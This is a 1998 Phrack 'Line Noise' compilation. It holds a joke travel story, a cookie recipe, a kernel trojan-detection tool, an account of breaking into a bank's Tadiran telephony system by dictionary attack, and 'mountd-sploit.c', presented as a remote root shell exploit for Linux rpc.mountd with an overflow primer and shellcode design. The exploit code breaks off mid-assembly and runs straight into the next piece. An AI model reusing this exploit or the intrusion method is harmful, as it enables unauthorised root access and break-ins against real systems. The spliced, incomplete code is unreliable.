|
---[ Phrack Magazine Volume 8, Issue 54 Dec 25th, 1998, article 03 of 12 -------------------------[ P H R A C K 5 4 L I N E N O I S E --------[ Various 0x1>------------------------------------------------------------------------- The r00t/h4g1s peace summit - 1998 ---------------------------------- In a digital world marred by strife and conflict, it was only fitting that the two mega-super powers of the digital underground met for a peace conference somewhere they could partake of the peace pipe. Amidst the quaint silence of the fluttering windmills of Holland, the representatives of their respective parties settled in for a week of negotiations in the heart of Amsterdam. Day 1: They paint fake flies (the flying kind, not the zipper kind) on the toilets in the Schlipteinheinekinoffien airport in Amsterdam, because, as we all know, hackers can't resist a good target. The next stop was to our official reception at the Hotel Ibis. I walked into the room, meeting face to face with 7 of the most notorious and feared hackers alive. My heart raced, and I felt all the sweat glands on my body release in one giant orgasmic instant. And then I started coughing... Day 2: My throat severely scarred from the previous day of going to "coffee" shops and buying (legally) some marijuana with such names as "The Elite Buddha", and "Zero Day", we set out for some serious negotiations on the second day. Our mission was to create a truce, allowing the free transportation of our packets, unencumbered, unmodified, and unmonitored, across the Internet. H4g1s demanded r00t supply them with "-1 Day" in exchange for peace. r00t requested a "-1 day" from an Internet savvy street person who kept reminding us of our r00t brother, X. The street person, we'll call him Outlaw, showed us some pills, but they did not appear to be what h4g1s was looking for. So, we decided to move on. Outlaw, however, had other ideas. He wanted his 25 guilders to take his aspirin to X, apparently (For those of you unfamiliar, a guilder is the Netherlands unit of money, and roughly resembles monopoly money, except a guilder isn't really worth anything, whereas monopoly is fun!). We refused, and Chico got mad. He started telling us, "WE ARE GOING TO HAVE A PROBLEM SOON." After that, things were "STARTING TO GET VERY SERIOUS." Finally, Chico got pissed off and broke a beer bottle and started going insane, so r00t & h4g1s made a temporary truce and started running. After turning several corners, the mad outlaw was chasing after us with his broken glass wielding in the cold winter night. We were now in the "red light district", the physical equivalent to the place on the Internet where you can buy whores and have sex with them, and people were looking at us funny being chased through the streets. Day 4: We slept through day 4. Day 3: Things were getting very strange in Amsterdam. Most notably, day 3 happened AFTER day 4. Don't ask me how. It may have related to the fungus located within a "Inner Visions" container that we consumed in the hopes of progressing our talks further. We played some Ultima Online, except we didn't use any computers. I think there was a strange steakhouse experience at some point this day, but I can't provide any further details. Day 5: Everything in the world is energy vibrating at different rates. If we can find some way to make our own matter vibrate at a consistently faster rate we can transcend the physical universe and enter the digital plane. I think we need to switch tenses back to the past before. With Outlaw out of the picture, we resumed our negotiations over some spacecakes (its like a brownie, or a muffin, or a donut, except it has Zero Day in it). Day 6: I thought we ate all the shrooms in Day Pi! Ok, fine. Things are easier to handle when you have a vision. Vision is just a hallucination induced by energy waves bouncing around in your head. Your head is cool. COOL is a lame stock. EBAY is insanely overpriced. So are M3s. Mach 3's are cool razors. Razors are sharp. Sharp MD players are too thick. As is Mark's cock. And long! -r00t & h4g1s 0x2>------------------------------------------------------------------------- A CASE STUDY: LINUX MOUNTD STACK OVERFLOW There is nothing new here, but the code is a text book example of how buffer overflows are done. Even if you have read other articles on buffer overflows you might find something of value in here. Or maybe not. The case studied is the Linux nfsd/mountd vulnerability mentioned in the CERT advisory on Aug 28. nuuB <++> linenoise/mountd-sploit.c /* * mountd-sploit.c - Sploit for Linux mountd-2.2beta29+ (and earlier). Will * give a remote root shell. * * Cleaned up, documented and submitted to Phrack on Sep 3 1998. * * I've included a quick primer on stack overflows and made lots of comments * in the code, so if you don't know how these stack overflow exploits work * take this opportunity to learn something. * * It is trivial to extend the code (or use scripting) to make something that * automatically scans subnets or lists of IPs to find vulnerable systems. * This is left as an exercise for the enterprising young hax0rs out there. * * You need the following RPC files for your particular architecture: * * nfsmount.h * nfsmount_xdr.c * * These can be generated from 'mount.x' by the 'rpcgen' utility. I simply * lifted the files that came pre-generated with Linux 'mount'. These are * included uuencoded, but they may not work on your particular system. Don't * bug me about this. * * Compile with: * * cc mountd-sploit.c nfsmount_xdr.c -o mountd-sploit * * Have fun, but as always, BEHAVE! * * /nuuB * */ /* A QUICK PRIMER ON STACK OVERFLOWS ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Read Aleph1's article in Phrack Issue 49 File 14 (P49-14) for a detailed explanation on how to write sploits (the examples are for Linux/i386 but the methodology is valid for any Unix, and can be applied to other OS's once you understand the technique). If you are targeting one of Bill's OS check out cDc #351: "The Tao of Windows Buffer Overflow" by DilDog. The properties that we take advantage of are: * The stack memory pages have the execute bit set * The return address from functions are stored on the stack on a higher address than the local variables. MEMORY MAP -- Start of stack (i.e bottom of stack - top of memory) e.g 0xc0000000 -- <environment variables> <stack frames from main() down to the function calling our function> <arguments to the vulnerable function> <** return address **> <frame pointer for prev frame - unless compiled with -fomit-frame-pointer> <local variables for the vulnerable function> -- Top of stack (lower memory address) e.g 0xbffff9c8 -- THE OVERFLOW The trick is to overflow a local variable that is set through a function that doesn't check for overflows (strcpy, sprintf, etc). By supplying a (too) long string you can overwrite memory at higher addresses, i.e closer to the start of the stack. More specifically we want to overwrite <** return address **> with a pointer that points back into the stack that contains code we want executed. Getting the code on the stack is done by including it in the string we are overflowing with, or by placing it in an environment variable. The code can do anything you like, but the standard thing is to execve() a shell. There are often limitations on what the code can look like in order to be placed unmangled on the stack (length, touppper(), tolower(), NULL bytes, path stripping etc). It all depends on how the target program processes the input we feed it. Be prepared for some tinkering to avoid certain byte patterns and to make the code use PC/IP relative addressing. The overflow string (called the 'egg') is normally passed to the target program through command line arguments, environment variables, tcp connections or in udp packets. POSSIBLE COMPLICATIONS Sometimes you will destroy other local variables with your egg (depends on how the compiler ordered the variables on the stack). If you use a long enough egg you could also trash the arguments to the function. As your code isn't executed until the vulnerable function returns (not at the return of the function doing the actual overflowing, e.g strcpy()), you must make sure that the corrupted variables don't cause a crash before the return. This means that your egg probably has to be aligned perfectly, i.e only use one return pointer and preceed it with 'correct' values for the local variables you are trashing. Unfortuntely the ordering of the variables is often dependent on what compiler options were used. Optimization in particular can shuffle things around. This means that your exploit will sometimes have to target a particular set of options. Most of the time the trashing of other local variables isn't a problem but you may very well run into it some day. THE RETURN POINTER The only problem left is to guess the right address to jump to (i.e the return pointer). This is done either by trial and error or by examining the executable (requires you have access to a system identical to the target). A good way to get a reasonable starting value is to find out how much environment variables the target process has (hint: use 'ps uxawwwwwwwwe') and combine that with the base stack pointer (you can find that out with a one line program that shows the value of the stack pointer). To increase the chances of success it is customary to fill out the start of the egg with NOP opcodes, thus as long as the pointer happens to point somewhere in the egg before the actual code it will execute the NOPs then the code. That is all there is to it. */ /* * Now, back to our case study. * * Target: rpc.mountd:logging.c * * void Dprintf(int kind, const char *fmt, ...) { * char buff[1024]; * va_list args; * time_t now; * struct tm *tm; * * if (!(kind & (L_FATAL | L_ERROR | L_WARNING)) * && !(logging && (kind & dbg_mask))) * return; * ... * vsprintf(buff, fmt, args); <-- This is where the overflow is done. * ... * if (kind & L_FATAL) * exit(1); * } <-- This is where our code (hopefully) gets executed * * This function is called from (e.g) mountd.c in svc_req() as follows: * * #ifdef WANT_LOG_MOUNTS * Dprintf(L_WARNING, "Blocked attempt of %s to mount %s\n", * inet_ntoa(addr), argbuf); * #endif * * Looks great (WANT_LOG_MOUNTS appears to be defined by default). Type * L_WARNING is always logged, and all we have to do is to try to mount * something we are not allowed to (i.e as long as we are not included in * /etc/exports we will be logged and get a chance to overflow). * * The only complication is the first %s that we will have to compensate for * in the egg (our pointers must be aligned correctly). * * We use 5 pointers to avoid problems related to how the compiler organized * the variables on the stack and if the executable was compiled with or * without -fomit-frame-pointer. * * 3 other local variables (size=3*4) + 1 frame-pointer + 1 return pointer = 5 * * Still plenty of room left for NOPs in the egg. We do have to make sure that * if the 3 other variables are trashed it won't cause any problems. Examining * the function we see that 'now' and 'tm' are initialized after the vsprintf() * and are thus not a problem. However there is a call 'va_end(args)' to end * the processing of the ellipsis which might be a problem. Luckily this is * a NOP under Linux. Finally we might have trashed one of the arguments * 'kind' or 'fmt'. The latter is never used after the vsprintf() but 'kind' * will cause a exit(1) (bad!) if kind&L_FATAL is true (L_FATAL=0x0008). * Again, we are in luck. 'kind' is referenced earlier in the function and in * several other places so the compiler has gratiously placed it in a register * for us. Thus we can trash the arguments all we want. * * Actually, if you examine the executables of mountd in the common distros * you will find that you don't have to trash any variables at all as 'buffer' * is placed just before the frame pointer and the return address. We could * have used a simple egg with just one pointer and this would have worked * just as well in practise. * * All this 'luck' is in fact rather common and is the reason why most buffer * overflows are easy to write so they work most of the time. * * Ok. Delivery of the egg is done through the RPC protocol. I won't go into * details here. If you are interested, get the sources for the servers and * clients involved. Half the fun is figuring out how to get the egg in place. * * The last piece of the puzzle is to keep shoveling data from the local * terminal over the TCP connection to the shell and back (remember that * we used dup2() to connect the shell's stdout/in/err to the TCP connection). * * Details below. */ #include <unistd.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <sys/time.h> #include <sys/types.h> #include <fcntl.h> #include <signal.h> #include <arpa/inet.h> #include <netdb.h> #include <rpc/rpc.h> #include <rpc/pmap_prot.h> #include <rpc/pmap_clnt.h> #include "nfsmount.h" /* * First we need to write the code we want executed. * * C0de: setreuid(0, 0); fork(); dup2(0, 1); dup2(0, 2); execve("/bin/sh"); * * setreuid() is probably not necessary, but can't hurt. * * fork() is done to change pid. This is needed as someone - probably the * portmapper - sends signals to mountd (the shell has no handlers for these * and would die). * * The dup2()'s connect stdout/stderr to the TCP socket. * * The code assumes 'mountd' communicates with the client using descriptor * zero. This is the case when it is started as a daemon, but may not be so if * it is launched from inetd (I couldn't be bothered to test this). The * dup2()'s may need to be changed accordingly if so. * * For Linux/i386 we would get: */ #if 0 void c0de() { __asm__( "jmp .get_string_addr\n\t" /* Trick to get address of our string */ ".d01t:\n\t" "xorl %eax,%eax\n\t" "movl %eax,%ebx\n\t" /* ruid=0 */ "movl %eax,%ecx\n\t" /* euid=0 */ "movb $0x46,%eax\n\t" /* __NR_setreuid */ "int $0x8 0x3>------------------------------------------------------------------------- Eleet ch0c0late ch1p co0kies by Juliet The chocolate chip cookies is an old exploit. You can use it to bribe your teachers, sysadmins, bosses, even feds. Never underestimate the cookie. Picture this.. little girlie walks up to you in the NOC.. offers you a home-baked chocolate chip cookie! She must be someone's secretray.. or something.. wow she sure fooled you.. anyway.. bake them.. they are good.. DO NOT substitue ingrediants.. other than like M&M's for chocolate chips.. 1 cup (packed) golden brown sugar 1/2 cup sugar 1/2 cup solid vegetable shortening, room temperature 1/2 cup (1 stick) unsalted butter, room temperature 2 large eggs 1 tablespoon vanilla extract 3 cups all purpose flour 1 teaspoon baking soda 1 teaspoon salt 1 12-ounce package semisweet chocolate chips Preheat oven to 350F. Using electric mixer, beat both sugars, shortening and butter in large bowl until light and fluffy. Beat in eggs and vanilla. Mix flour, baking soda and salt in large bowl. Add dry ingredients to butter mixture and mix until blended. Stir in chocolate chips. Drop dough by heaping tablespoonfuls onto heavy large baking sheets, spacing 2 inches apart. Bake until golden brown, about 12 minutes. Transfer baking sheets to racks; cool 5 minutes. Transfer cookies to racks; cool completely. Makes about 42 cookies.. or you can make ONE BIG pan cookie 0x4>------------------------------------------------------------------------- - Tadiran; Computer Telephony Integration (CTI) - Blakboot <blakboot@darkcartel.com> Introduction ============ Hello everyone. This article is primarily about Tadiran Telecommunications software and hardware used to syncronize computer applications with phone calls. I will be refering to system version 9.63.03.01 and any variants as just `Tadiran`. From firsthand experiences with this type of system I've found that they can be configured to do many things, from trunk timers to on hold music. Although a very powerful system, the Tadiran lacks basic security. This is a no no, especially when it provides worldwide technologies for all types of industries, including banking. The issue of lack of security is mainly why I wanted to write this article. The Tadiran is very much open to intrusion. How it began ============ A phreak friend of mine, Mf-Man, and I were scanning for loops, we found a carrier. We took a short look at the system for a while, until our interests waned and took us elsewhere.. Months later, bored, I dialed into the system, with plans of throwing a dictonary file at it at steady pace (Tadiran, only requires a password for authentication). So, I just sat back, and waited... After a long while, to my gleeful surprise, it cracked! I (like many others before me) did that zealous happy dance. This system, Tadiran, is rather cryptic without documentation. Even still, I managed to dig up some interesting info. This system I managed to get into was that of a CTI system from a well known bank. The major flaws thus far (I plan to write a more in depth article): * Unlimited password attempts. * No login names. * A password prompt that responds, well, promptly. What follows are some screen shots of the Tadiran system. The system ========== Password prompt: ENTER PASSWORD Bad password Msg.: ILL PASSWORD , TRY AGAIN ! System prompt: *: Enviroment: Tree menus; menus branch from root, and so on. -This the root menu, the menu sent upon login.- (ROOT) CCS 9.63.03.01 SMDI & 24SDT Copyright (c) 1991-1997 Tadiran Telecommunications Ltd. NAME - xxxxxxxxx SAU # - xxxx 0-CONFIG 1-DIAGN 2-TABLES 3-ADMIN 4-ROUTING/COST 5-ISDN 6-DATA 7-CoraLINK 8-NETWORK 9-HELP Any of the menus/options can be choosen by number, or name. Control keys: ^C / ESC ------ Go back 1 menu. ^T ------ Displays account and system information. EXAMPLE: CCS: xxxxxxxx xxx-xx-1998 10:48pm Terminal No.: 4, Password level: 0 Software Version: 9.63.03.01 SMDI & 24SDT ^P ------ Relogin. /* There are others--they seem have something to do with emulation, and scrolling. *\ Menu descriptions - ment for reference. ========================================= This is a list of globally accessable menus, available by typing, "HELP" <Note> I've "x"'d out all group names from the orignal system this information was recovered from. PI MESSAGES =(MSG) FEAT. & AUTH. =(FEAT) SMDR CONTROL = (SMDR) 47/8T CARD_DB =(TKDB) FEATURE TIMERS=(FE.T) STATION TIMERS =(ST.T) ALT ROUT TK.GRP=(ROUT) GROUPS =(GROUP) SYSTEM GEN. =(SYSGEN) xxxx/xxx GROUP =(xxxx) xxxxxxx GROUP =(xxxx) SYS FEATURES = (SFE) xxxx GROUP =(xxxx) IST/SLT CARD_DB=(STDB) SYS TIME SET-UP=(TIME) BUSY PORTS =(BUSY) IST/SLT DEF. =(SLT) TERMINAL SET-UP=(TERM) CARD DATA-BASE = (CDB) LCR/ROUTING =(LCR) TOLL BARRIER =(TOLL) CARD LIST =(CLIS) xxxxxxxxx =(xxx) TONE PLAN = (TON) CLASS OF SERVICE=(COS) xxxxxxxxxxxxx=(xxxxx) TRUNK DEFINITION=(TRK) COST_CALC. =(COST) NUMBERING PLAN =(NPL) TRUNK_GROUP =(TKGP) DATA SERVICES =(DATA) PICKUP GROUP =(PICK) TRUNK GRP DEF =(TGDEF) xxxx CARD DB =(DIDB) PORT DATABASE =(PDB) TRUNK PORTS =(TRUNK) xxx/xxx GROUP =(DIDG) PORT LIST =(PLIS) TRUNK TIMERS =(TK.T) DIGITAL TRUNK =(DTDB) PREFERENCE =(PREF) WAKEUP =(WAKEUP) KEY DEFINITION = (KEY) DIGITAL BUS LIST=(DLIS) ZONED GROUP =(VPZ) KEY PROGRAMING =(PROG) RINGER P.S. =(RPS) VFAC =(VFAC) KEYSET TIMERS =(EK.T) SIZES DEF =(SIZ) GROUP CALL =(CALL) PI MESSAGES - Terminal setup, diag/stim. 47/8T CARD_DB - Card information. Example: LS_RING_PAUS (sec)- 5 GS_RING_PAUS (sec)- 1 O/G BREAK_TIME(ms)- 60 O/G MAKE_TIME (ms)- 40 O/G INTERDGT_T(ms)- 800 GS_DISCONNECT (ms)- 800 METER (4TMR) : f0 (0=16K,1=12K,2=50Hz)- 0 f0 ACCURACY +/-(1-10)% - 3 METER_AFTER_DISCONNECT (Y/N) - N ALT ROUT TK.GRP - Add, display, update, or remove trunk group. BUSY PORTS - Displays what ports are busy. CARD DATA-BASE - List many submenus of card, in which you may get/update CARD LIST - EXAMPLE: shelf#/slot# p_type i_type card_db# vers/subver status 0 / 1 NO_CARD NO_CARD --- --- --- ------ 0 / 2 8DTR/S NO_CARD --- 17 8 ACTIVE 0 / 3 T1 T1 1 14 38 ACTIVE CLASS OF SERVICE - ST/TK, and ATT show all kinds of information on trunk control. TENANTS deals with group access. COST_CALC. - Information about costs for certain services, at various times. DIGITAL TRUNK - Card/trunk information, configuration, channel signaling. KEY DEFINITION - Telephone configuration EXAMPLE: prm_cos- 1 sec_cos- 1 priv_libs- 12 terminal- N origin- N block- N o/g_tk_rest- N privacy- Y excl_hold- N hard_hold- N last_num- Y security- N att- Y auto_unatt-N passcode- NONE check_out- N multi_app- Y m.a.mute_ring-Y mute_ring- Y auto_ans- N idle_disp.-Y keyclick- Y music- Y music_num- 0 v_page_in- Y auto_ans_v_p- Y auto_hld/xfer/off-1 spkr_on/off-Y blind_att- N pcc- Y pc_acd- N mic- Y comb_audio-N display_size- NO_DSP language-DEFAULT but_num- 2 ksi- N ksi_type- 0 eis- N send_id- Y ali- NONE aoc-e_display-N alert_makecall-N active dpem id's- NONE installed dpems- 1 dkt: spkr_environment- 1 music_on_hold - 0 KEYSET TIMERS - EXAMPLE: 1 unit = 0.1 sec. AUTO_ANSWER - 10 AUTO_ANS_V_PAGE - 10 TONE_TO_IDLE - 10 AOC-E_DISPLAY - 300 MUTE_RING - 50 FEAT. & AUTH - Authorizations, and system features. Check here to see if Call trace OR caller ID is active. FEATURE TIMERS - This is a bit interesting. EXAMPLE: * (1 unit =1.0 sec) ** (1 unit =0.1 sec) ***(1 unit =0.01 sec) *AUTO_REDIAL- 30 *REMIND_SNOOZE- 60 *WAKEUP_SNOOZE- 60 **WAKEUP_RING - 300 **NET_FEATURE_ACK- 40 **SUSP_OFFHK- 5 BELL_RING: **ON_BELL - 10 **OFF_BELL - 20 **ATT.MSG- 50 **EXPENSIVE_ROUTE_TONE - 10 **RING- 100 **SUPV_RECALL- 3600 **CONF_SUPV_RECALL- 1800 **BREAK_IN/OUT- 10 BREAKIN_WARNING: **ON - 1 **OFF - 20 GROUPS - List of submenus, of groups. IST/SLT CARD_DB - Ring information. IST/SLT DEF. - Slot of line info. EXAMPLE: prm_cos- 0 sec_cos- 0 priv_libs- 3 terminal- N origin- N block- N o/g_tk_rest-N privacy- Y excl_hold-N hard_hold- N last_num- Y security- N att- N auto_unatt-N passcode- NONE check_out- N type- 1 announcer- N multi_app- N send_id- Y ali- NONE opx- N hf_relevant-Y music_on_hold-0 LCR/ROUTING - Libraries, update, or display. NUMBERING PLAN - Lines, and there features: UPDATE, DISPLAY, ADD, REMOVE, or SHOW STATION TIMERS - EXAMPLE: 1 unit = 0.1 sec. RING- 450 MULT_APR_RING- 200 BUSY- 1200 REORDER- 50 CONFIRM- 30 DVMS- 200 HOLD- 6000 HARD_HOLD- 1200 PARK- 1200 PAGE_Q- 600 1st_DGT - 100 INTERDGT- 150 FEAT_DIAL- 700 HKFLS_FILTER- 10 MAGNETO_AUTO_ANS- 30 CF_NO_ANS- 200 SYSTEM GEN - MENU: (SYSGEN) 0-INSTALL 1-SIZES_DEF 2-SIZES_TAB 3-SPEED_CALLS (MCC only) 4-MUSIC 5-TIME_SLOTS (4GC only) 0-TRUNK_CALLS_OUTGOING SYSTEM FEATURES - Trunk_calls_incoming, station_options, intercept/ incomplete, call_forwarding, camp_on, hotel,messaging, tones, diagnosrics, ISDN, network, and wireless TONE PLAN - EXAMPLE: ~~~~~~~~ NO NAME TYPE #SEG 1TN Msec 2TN Msec 3TN Msec 4TN Msec 5TN Msec 6TN Msec 0 Busy 3 2 3 500 0 500 0 0 0 0 0 0 0 0 1 Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0 2 Distinct. 1 0 4 0 0 0 0 0 0 0 0 0 0 0 3 Reorder 3 2 3 240 0 240 0 0 0 0 0 0 0 0 4 Ringback 3 2 2 2000 0 4000 0 0 0 0 0 0 0 0 5 Silence 1 0 0 0 0 0 0 0 0 0 0 0 0 0 6 Tick 3 2 5 60 0 1000 0 0 0 0 0 0 0 0 8 Confirm 3 2 1 100 0 100 0 0 0 0 0 0 0 0 9 BRK_In/Out 1 0 5 0 0 0 0 0 0 0 0 0 0 0 11 V.P Conf 3 2 3 100 5 100 0 0 0 0 0 0 0 0 12 Z.P Warn 3 2 6 300 3 100 0 0 0 0 0 0 0 0 14 LCR_expens 2 6 0 120 5 80 0 120 5 80 0 120 5 80 15 LCR_cheap 2 4 0 120 5 80 0 120 5 80 0 0 0 0 16 Call Wait 3 4 5 600 0 5000 0 5000 0 5000 0 0 0 0 17 DISA Dial 1 0 1 0 0 0 0 0 0 0 0 0 0 0 TRUNK DEFINITION - EXAMPLE: DISA (0-NO /1-IMMED. /2-DELAY)- 0 COS.- 10 TK_TIMER#- 1 TYPE (0-PULSE /1-DTMF /2-MIX)- 1 I/C_ONLY-N O/G_ONLY-N BUSY_OUT-N AUTO_GUARD-N HOT_IMMED-N HOT_DELAY-N DROP_NO_DIAL-N RSRVD_TO- NONE CALLER_ID_TIMEOUT - 50 TRUNK TIMERS - EXAMPLE: H.FLASH(10ms)- 67 INCOMING : E&M_SEIZE_TO_WINK- 1 E&M_CONT_WINK_TIME- 2 OUTGOING : E&M_CONT_WINK/SG_DELAY- 1 SEIZE_TO_DIAL- 15 SECOND_DIAL_TONE- 60 VFAC - Account maintance. - Requires password. ---The ones that I didn't list were either self-explanitory, or N/A 0x5>------------------------------------------------------------------------- b t r o m b y r i q ------------------------------------------------------------------------------ "trojan eraser or i want my system call table clean" ------------------------------------------------------------------------------ i n t r o d u c t i o n ------------------------------------------------------------------------------ The other day, I started to play with the itf that appeared in P52-18 (read that article if you want to know what it does, etc). It occured to me one good way to determine if someone has installed the trojan (and to subsequently remove it) is by fixing the system call table. This program tries to do that. This works with the the linux x86 2.0 and 2.2 series. ------------------------------------------------------------------------------ i n t e r n a l s ------------------------------------------------------------------------------ The program first attempts to detect if you are using a BIG_KERNEL (a bzImage) or not (a zImage). One of the differences is the address of the kernel in memory. BIG_KERNEL starts at 0xc0000000 while the other starts at 0x00100000. The system call table (sct) has the entries of all the system calls. If you modify the sct, the new entry must be `out of range'. btrom will try to fix these `out of range' system calls with their original values. They are taken from the System.map. What i mean with "`out of range'" is an entry that has a value out of the start_of_the_kernel and the_start_of_the_kernel + some_value. This value is in the config.h ------------------------------------------------------------------------------ q u i c k i n s t a l l ------------------------------------------------------------------------------ compile: -------- 1) edit config.h and Makefile. Modify it if you want. $ vi config.h $ vi Makefile 2) make $ make use: ---- 1) be root $ su - 2) install the module mbtrom # insmod mbtrom 3) run btrom # ./btrom _nr_mbtrom_ [options] 4) uninstall the module mbtrom # rmmod mbtrom ------------------------------------------------------------------------------ c h a c h a r a ------------------------------------------------------------------------------ 1st part: detect trojans legends [ ] this is ok. dont worry [N] this is a null enter in the system call table. dont worry. [-] this is the entry of the module mbtrom. dont worry. [?] this entry has a system function, but it was supposed to be null. worry [*] this is probably a trojan in a reserved space. worry. [!] this is probably a trojan in a not reserved space. worry. 2nd part: clean trojans legends <s> press 's' to fill this entry with the System.map's value. <c> press 'c' to clean this entry. it will be filled with a null entry. <m> press 'm' to put in this entry a manual hexa address. <i> press 'i' to ignore, skip, what you want. ------------------------------------------------------------------------------ n o t e s ------------------------------------------------------------------------------ this program doesnt uninstall trojan modules. this program disables the trojans, so, after that, you can uninstall the trojan with 'rmmod'. ------------------------------------------------------------------------------ b u g s ------------------------------------------------------------------------------ if `insmod mbtrom' doesnt returns any value, is because you are redirecting that message with syslogd. Please check /etc/syslog.conf and see "kern". ------------------------------------------------------------------------------ h i s t o r y ------------------------------------------------------------------------------ * version 0.3 (01/12/98) compatible with kernel 2.0 y 2.2. works with BIG_KERNEL and with SMALL english version * version 0.2 (25/11/98) first version * version 0.1 (21/11/98) something really ugly * all this happened when i see the itf (intregated trojan facility in P52-18) ------------------------------------------------------------------------------ f e e d b a c k ------------------------------------------------------------------------------ riq@ciudad.com.ar <++> linenoise/btrom/Makefile # # Makefile del b t r o m # ## BUG. This must be the same as the one in config.h SYSTEM_MAP = "/usr/src/linux/System.map" AWK = awk CC = gcc #CFLAGS = -DSYSTEM_MAP=$(SYSTEM_MAP) all: parse btrom mbtrom parse: $(AWK) -f sys_null.awk $(SYSTEM_MAP) > sys_null.h btrom: btrom.o $(CC) btrom.c -O2 -Wall -o btrom mbtrom: $(CC) -c -O3 -Wall -fomit-frame-pointer mbtrom.c clean: rm -f mbtrom.o btrom.o btrom sys_null.h <--> <++> linenoise/btrom/btrom.c /* * btrom - Borra Trojanos Modulo * por Riq * 1/Dic/98: 0.3 - Compatible con kernel 2.2 y soporta BIG_KERNEL * 25/Nov/98: 0.2 - Version inicial. Soporta kervel 2.0 i386 */ #include <stdio.h> #include <unistd.h> #include <asm/unistd.h> #include <stdlib.h> #include <stdio.h> #include <fnmatch.h> #include <strings.h> #include <linux/sys.h> #include "config.h" #include "sys_null.h" FILE *sm; FILE *au; int quiet; int borrar; int dif_n_s; unsigned int big_kernel; /*********************************************************************** System.map ************************************************************************/ int sm_b_x_nom( unsigned int *address, char *estoy ) { char buffer[200]; char sys_add[20]; fseek(sm,0L,SEEK_SET); while( fgets(buffer,200,sm) ) { if( fnmatch(estoy,buffer,0)==0 ) { strncpy(sys_add,buffer,8); sys_add[8]=0; *address = strtoul(sys_add,(char **)NULL,16); return 1; } } return 0; } int sm_busca_x_nombre( unsigned int *address, char *estoy) { char nombre[50]; sprintf(nombre,"*T sys_%s\n",estoy); return sm_b_x_nom(address, nombre); } FILE* sm_open() { return fopen( SYSTEM_MAP, "r" ); } /*********************************************************************** asm/unistd.h ************************************************************************/ void au_dame_el_nombre( char *dst, char *orig ) { int i,j; j=i=0; while( orig[i]!='_' ) i++; i=i+5; while( orig[i]!=' ' && orig[i]!='\t' ) dst[j++]=orig[i++]; dst[j]=0; } int au_b_x_num( char *nombre, int numero ) { char buffer[200]; char buscar[50]; /* FIXME: ?sera mas efectivo regexec() que fnmatch()? */ sprintf(buscar,AU_PREFIX"%i*",numero); while( fgets(buffer,200,au) ) { if( fnmatch(buscar,buffer,0)==0 ) { au_dame_el_nombre(nombre,buffer); return 1; } } /* No encontre... entonces una segunda pasada */ fseek(au,0L,SEEK_SET); while( fgets(buffer,200,au) ) { if( fnmatch(buscar,buffer,0)==0 ) { au_dame_el_nombre(nombre,buffer); return 1; } } return 0; } int au_busca_x_numero(char *nombre, int numero) { return au_b_x_num(nombre,numero); } FILE* au_open() { return fopen( ASM_UNISTD, "r" ); } /*****************************************/ /* Comun a la primer y segunda recorrida */ /*****************************************/ int comun_1er_2da( int j, int i , char *nombre , char *c, int clean, unsigned int retval) { int a; a = clean; /* bug fix */ nombre[0]=0; /* i!=0 porque el asm/unistd del kernel 2.2 no viene */ if( i!=0 && au && au_busca_x_numero(nombre,i)) { if( retval > big_kernel + LIMITE_SYSCALL ) { *c = '*' ; clean++; } else *c = ' '; } else { if( retval > big_kernel+LIMITE_SYSCALL ) *c = '!'; else *c = '?'; clean++; } if(i==j) { /* modulo btrom */ *c='-'; clean=a; } else if(retval==SYS_NULL || retval==0) {/* Null pointer */ *c='N'; clean=a; } return clean; } /********************************************************************** primer_recorrida: Detectar troyanos **********************************************************************/ int primer_recorrida(int j) { char nombre[50]; int address; int i,old_clean,clean; unsigned int retval; char c; old_clean=clean=0; printf( "\n1st part: Detect trojans\n" " [ ]=OK [N]=Null [-]=btrom\n" " [?] Mmm...syscall\n" " Address [*][!]=trojan routine\n" " now System.map Num [ ] Syscall Name\n" "----------------------------------------------\n"); for( i=0; i< NR_syscalls; i++ ){ __asm__ volatile ( "int $0x80":"=a" (retval):"0"(j), "b"((long) (i)), "c"((long) (0)), "d"((long) (0))); clean = comun_1er_2da(j,i,nombre,&c,clean,retval); if( !quiet || clean > old_clean ) { if( nombre[0]!=0 ) { if( sm && sm_busca_x_nombre(&address,nombre)) { if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) { dif_n_s++; printf("%8x!%8x %3i [%c] %s\n",retval,address,i,c,nombre); } else printf("%8x %8x %3i [%c] %s\n",retval,address,i,c,nombre); } else printf("%8x %3i [%c] %s\n",retval,i,c,nombre); } else printf("%8x %3i [%c]\n",retval,i,c); old_clean = clean; } } return clean; } /********************************************************************** segunda_recorrida: Limpiar troyanos **********************************************************************/ int segunda_recorrida(int j) { char nombre[50],dire[50]; int address; int i,old_clean,clean,retval,key; char c; unsigned int k; old_clean=clean=0; printf( "\n2nd part: Clean Trojans\n" " s = System.map address\n" " c = clean address\n" " m = manual address\n" " i = ignore\n" " now System.map Num [ ] Syscall Name\n" "---------------------------------------\n"); for( i=0; i< NR_syscalls ; i++ ){ __asm__ volatile ( "int $0x80":"=a" (retval):"0"(j), "b"((long) (i)), "c"((long) (0)), "d"((long) (0))); clean = comun_1er_2da(j,i,nombre,&c,clean,retval); if( clean > old_clean ) { if( nombre[0]!=0 ) { if( sm && sm_busca_x_nombre(&address,nombre)) { if(retval!=address && retval < big_kernel + LIMITE_SYSCALL) { dif_n_s++; printf("%8x!%8x %3i [%c] %s <s/c/m/I>?",retval,address,i,c,nombre); } else printf("%8x %8x %3i [%c] %s <s/c/m/I>?",retval,address,i,c,nombre); } else printf("%8x %3i [%c] %s <c/m/I> ?",retval,i,c,nombre); } else printf("%8x %3i [%c] <c/m/I> ?",retval,i,c); old_clean = clean; fseek(stdin,0L,SEEK_END); key=fgetc(stdin); switch(key) { case 's': k = address; break; case 'c': k = SYS_NULL; break; case 'm': printf("Enter an hexa address (ex: 001a1b):"); fseek(stdin,0L,SEEK_END); fgets( dire,50,stdin ); k = strtoul(dire,(char **)NULL,16); break; default: k=1; break; } /* FIXME: 1 no se puede poner como address */ if(k!=1) __asm__ volatile ( "int $0x80":"=a" (retval):"0"(j), "b"((long) (i)), "c"((long) (1)), "d"((long) (k))); } } return clean; } void help() { printf( "\nUsage: btrom nr_of_mbtrom [-c][-v]\n" "\t1) Install the module mbtrom with`insmod mbtrom'\n" "\t2) The module must return a value.If not see the README->bugs\n" "\t btrom value_returned_by_mbtrom [-c][-v]\n" "\t `v' is verbose. Recommended\n" "\t `c' is clean. Cleans the trojans\n" "\t3) Uninstall the module mbtrom with 'rmmod mbtrom'\n" "\n" "\tExamples:\n" "\t btrom 215 -cv\n" "\t btrom 214 -v\n" 